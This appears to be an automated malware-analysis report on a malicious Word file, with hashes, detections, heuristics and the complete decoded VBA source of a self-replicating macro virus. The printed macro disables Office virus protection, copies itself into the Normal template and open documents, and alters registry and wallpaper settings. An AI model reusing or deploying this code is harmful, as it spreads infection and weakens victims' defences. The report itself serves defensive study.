Office (OLE) malware analysis — malicious · 49e815dc2fdbb39a

MALICIOUS

Office (OLE)

401.5 KB Created: 2005-01-19 14:17:00 Authoring application: Microsoft Word 11.0 First seen: 2015-09-30

MD5: 8472c0692b8f0b74e759f314fd599280 SHA-1: dd642e50a9a036633bcd507f49e59dbb1a52efbb SHA-256: 49e815dc2fdbb39a29fbec9e373ec5d4351b0389773c7a2c569c3db36dfd4b61

208 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing a VBA macro. The macro attempts to disable macro protection and replicate itself to the Normal template, indicated by the 'OLE_VBA_MACRO_VIRUS_REPLICATION' heuristic. It also attempts to write to the registry key 'HKCU\Software\Microsoft\MS Setup (ACME)\User Info\LogData in' and uses the email address 'fs080298@hotmail.com'. These actions suggest an attempt to establish persistence and potentially spread.

Heuristics 4

ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Marker-35
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
AddIns.Unload True
Options.VirusProtection = False
Application.UserName = "fs080298"
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
Document_Close
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	8799 bytes
SHA-256: `cb6f53fab9bc695b3050e95c78eeddced22909b6a61e3f94a4cece48c427a60c`
Detection ClamAV: Doc.Trojan.Marker-18 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'Son, Be a Good Boy ! Const Marker = "<- this is a marker! by fs2000" Private Sub Document_Open() Document_Close End Sub Private Sub Document_Close() Dim nmod As Object Dim isd As String Dim DS, NTS, DI, NTI As Boolean Dim EmailMe, Users, LogData, LogFile As String On Error Resume Next AddIns.Unload True Options.VirusProtection = False Application.UserName = "fs080298" Application.UserInitials = "FS2000" Application.UserAddress = "fs080298@hotmail.com" Application.EnableCancelKey = wdCancelDisabled GoSub Sisipin If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _ "LogData in") = False) Then GoSub LoggingIn GoSub EmailMePlease GoTo Finish Sisipin: Set ad = ActiveDocument.VBProject.VBComponents.Item(1) Set nt = NormalTemplate.VBProject.VBComponents.Item(1) DI = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000) NTI = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000) If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then If DI Then NTS = NormalTemplate.Saved EmailMe = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines) For i = 1 To Len(Application.UserAddress) If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then Users = Users & Mid(Application.UserAddress, i, 1) End If Else Users = Users & Chr(13) & " '" End If Next EmailMe = EmailMe & Chr(13) & _ "' " & Format(Time, "hh:mm:sc AMPM-") & _ Format(Date, "dddd, d mmm yyyy") & Chr(13) & _ "' " & Application.UserName & Chr(13) & _ "' " & Users & Chr(13) & Chr(13) & " " nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines nt.CodeModule.AddFromString EmailMe If NTS Then NormalTemplate.Save End If If NTI Then DS = ActiveDocument.Saved EmailMe = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines) ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines ad.CodeModule.AddFromString EmailMe If DS Then ActiveDocument.Save End If End If Return LoggingIn: System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True GoSub EmailMePlease Return EmailMePlease: Dim SystemRoot As String On Error Resume Next System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\International", "s1159") = Chr$(60) + Chr$(40) + Chr$(164) + Chr$(191) + Chr$(164) + Chr$(41) + Chr$(62) SystemRoot = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot") Open SystemRoot & "\EmailMe.html" For Output As #1 Print #1, "<html><head><title>Email Me !</title></head><body bgcolor='#000000' link='#FFFF00' vlink='#00FFFF'>" Print #1, "<p align='right'><font color='#80FF00' size='3' face='Arial'><marquee scrollamount='3' width='53%'> © Have a Nice Day ! - Don't Forget to Save Your Data...</marquee></font></p>" Print #1, "<h6 align='center'><font color=brown size='7'><marquee behavior='alternate' width='100%'>€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€</marquee></font>" Print #1, "<p align='center'><font color='#FF80FF' size='7'><marquee behavior='alternate' width='11%'>ÒÓ</marquee></font>" Print #1, "<p align='center'><font color='#FF80FF' size='7'><strong>∆</strong></font></p>" Print #1, "<p align='center'><font color=brown size='7'><marquee behavior='alternate' width='100%'>€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€</marquee></font>" Print #1, "<p><br><br><br><br><br></p>" Print #1, "<p align='right'><a href='mailto:fs080298@hotmail.com'><font size='2'>Email Me !</font></a></p></Body></html>" Close #1 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = SystemRoot & "\EmailMe.html" System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\International", "s2359") = Chr$(60) + Chr$(40) + Chr$(169) + Chr$(191) + Chr$(169) + Chr$(41) + Chr$(62) Return Finish: End Sub 'Thank for looking my wallpaper 'Logfile --> ' 09:29:389:29:38 AM AM-Monday, 29 Nov 1999 ' fs080298 ' fs080298@hotmail.com ' 06:42:416:42:41 PM PM-Friday, 3 Dec 1999 ' fs080298 ' fs080298@hotmail.com ' 02:44:152:44:15 <(€¿€)> <(€¿€)>-Tuesday, 7 Dec 1999 ' fs080298 ' fs080298@hotmail.com ' 09:13:199:13:19 AM AM-Friday, 24 Dec 1999 ' fs080298 ' fs080298@hotmail.com ' 02:28:372:28:37 <(©¿©)> <(©¿©)>-Saturday, 22 Jan 2000 ' fs080298 ' fs080298@hotmail.com ' 12:01:5812:01:58 AM AM-Saturday, 12 Feb 2000 ' fs080298 ' fs080298@hotmail.com ' 10:36:910:36:09 AM AM-Thursday, 17 Feb 2000 ' fs080298 ' fs080298@hotmail.com ' 11:31:4411:31:44 -Segunda-feira, 21 Fev 2000 ' fs080298 ' fs080298@hotmail.com ' 07:55:1719:55:17 -Segunda-feira, 21 Fev 2000 ' fs080298 ' fs080298@hotmail.com ' 12:10:1512:10:15 -terça-feira, 22 fev 2000 ' fs080298 ' fs080298@hotmail.com ' 03:26:4215:26:42 -Sexta-feira, 25 Fev 2000 ' fs080298 ' fs080298@hotmail.com ' 12:28:5612:28:56 -Terça-feira, 14 Mar 2000 ' fs080298 ' fs080298@hotmail.com ' 10:52:3210:52:32 -Terça-feira, 21 Mar 2000 ' fs080298 ' fs080298@hotmail.com ' 09:15:1821:15:18 -Quarta-feira, 22 Mar 2000 ' fs080298 ' fs080298@hotmail.com ' 09:40:921:40:09 -Quarta-feira, 22 Mar 2000 ' fs080298 ' fs080298@hotmail.com ' 07:38:4519:38:45 -÷åòâå˝, 25 Ñ⁄÷ 2001 ' fs080298 ' fs080298@hotmail.com ' 09:31:3921:31:39 -Segunda-feira, 27 Mar 2000 ' fs080298 ' fs080298@hotmail.com ' 09:27:2821:27:28 <(©¿©)>-Quarta-feira, 29 Mar 2000 ' fs080298 ' fs080298@hotmail.com ' 09:53:2821:53:28 <(©¿©)>-Quarta-feira, 29 Mar 2000 ' fs080298 ' fs080298@hotmail.com ' 10:35:3122:35:31 -Segunda-feira, 3 Abr 2000 ' fs080298 ' fs080298@hotmail.com ' 07:57:3719:57:37 <(©¿©)>-Domingo, 16 Abr 2000 ' fs080298 ' fs080298@hotmail.com ' 10:41:5910:41:59 -Sábado, 6 Mai 2000 ' fs080298 ' fs080298@hotmail.com ' 10:30:810:30:08 -Terça-feira, 9 Mai 2000 ' fs080298 ' fs080298@hotmail.com ' 01:19:213:19:02 -Segunda-feira, 12 Mai 1997 ' fs080298 ' fs080298@hotmail.com ' 09:03:4409:03:44 <(€¿€)>-Sábado, 13 Mai 2000 ' fs080298 ' fs080298@hotmail.com ' 06:01:5618:01:56 <(©¿©)>-Quinta-feira, 5 Jun 1997 ' fs080298 ' fs080298@hotmail.com ' 08:35:2720:35:27 <(©¿©)>-Domingo, 8 Jun 1997 ' fs080298 ' fs080298@hotmail.com ' 03:43:3915:43:39 <(©¿©)>-Domingo, 18 Jun 2000 ' fs080298 ' fs080298@hotmail.com ' 02:29:4414:29:44 <(©¿©)>-Sexta-feira, 11 Ago 2000 ' fs080298 ' fs080298@hotmail.com ' 02:05:614:05:06 <(©¿©)>-Terça-feira, 3 Out 2000 ' fs080298 ' fs080298@hotmail.com ' 03:45:3315:45:33 -Domingo, 8 Out 2000 ' fs080298 ' fs080298@hotmail.com ' 01:08:013:08:00 -Segunda-feira, 19 Mar 2001 ' fs080298 ' fs080298@hotmail.com ' 02:51:4414:51:44 -Sexta-feira, 16 Mar 2001 ' fs080298 ' fs080298@hotmail.com ' 08:13:4020:13:40 -Segunda-feira, 11 Jun 2001 ' fs080298 ' fs080298@hotmail.com ' 07:52:5807:52:58 -Terça-feira, 23 Out 2001 ' fs080298 ' fs080298@hotmail.com ' 11:56:4511:56:45 -Quarta-feira, 16 Jan 2002 ' fs080298 ' fs080298@hotmail.com ' 07:27:019:27:00 -Quarta-feira, 22 Mai 2002 ' fs080298 ' fs080298@hotmail.com ' 12:52:5812:52:58 -Sexta-feira, 6 Set 2002 ' fs080298 ' fs080298@hotmail.com ' 12:34:2212:34:22 -Quinta-feira, 12 Set 2002 ' fs080298 ' fs080298@hotmail.com ' 11:26:2211:26:22 -terça-feira, 26 nov 2002 ' fs080298 ' fs080298@hotmail.com ' 08:28:808:28:08 <(€¿€)>-quinta-feira, 16 jan 2003 ' fs080298 ' fs080298@hotmail.com ' 01:43:151:43:15 AM AM-Thursday, 30 Jan 2003 ' fs080298 ' fs080298@hotmail.com ' 03:10:153:10:15 PM PM-Tuesday, 4 Feb 2003 ' fs080298 ' HDJSDHHFSA 'fs080298@hotmail.com ' 11:35:2511:35:25 AM AM-Friday, 14 Nov 2003 ' fs080298 ' 'fs080298@hotmail.com ' 03:20:253:20:25 PM PM-Monday, 29 Mar 2004 ' fs080298 ' 'fs080298@hotmail.com ' 04:01:184:01:18 PM PM-Monday, 26 Apr 2004 ' fs080298 ' fyt 'fs080298@hotmail.com ' 12:46:412:46:04 PM PM-Thursday, 13 Jan 2005 ' fs080298 ' fs080298@hotmail.com

Open this report in the interactive analyzer, or submit your own file for analysis.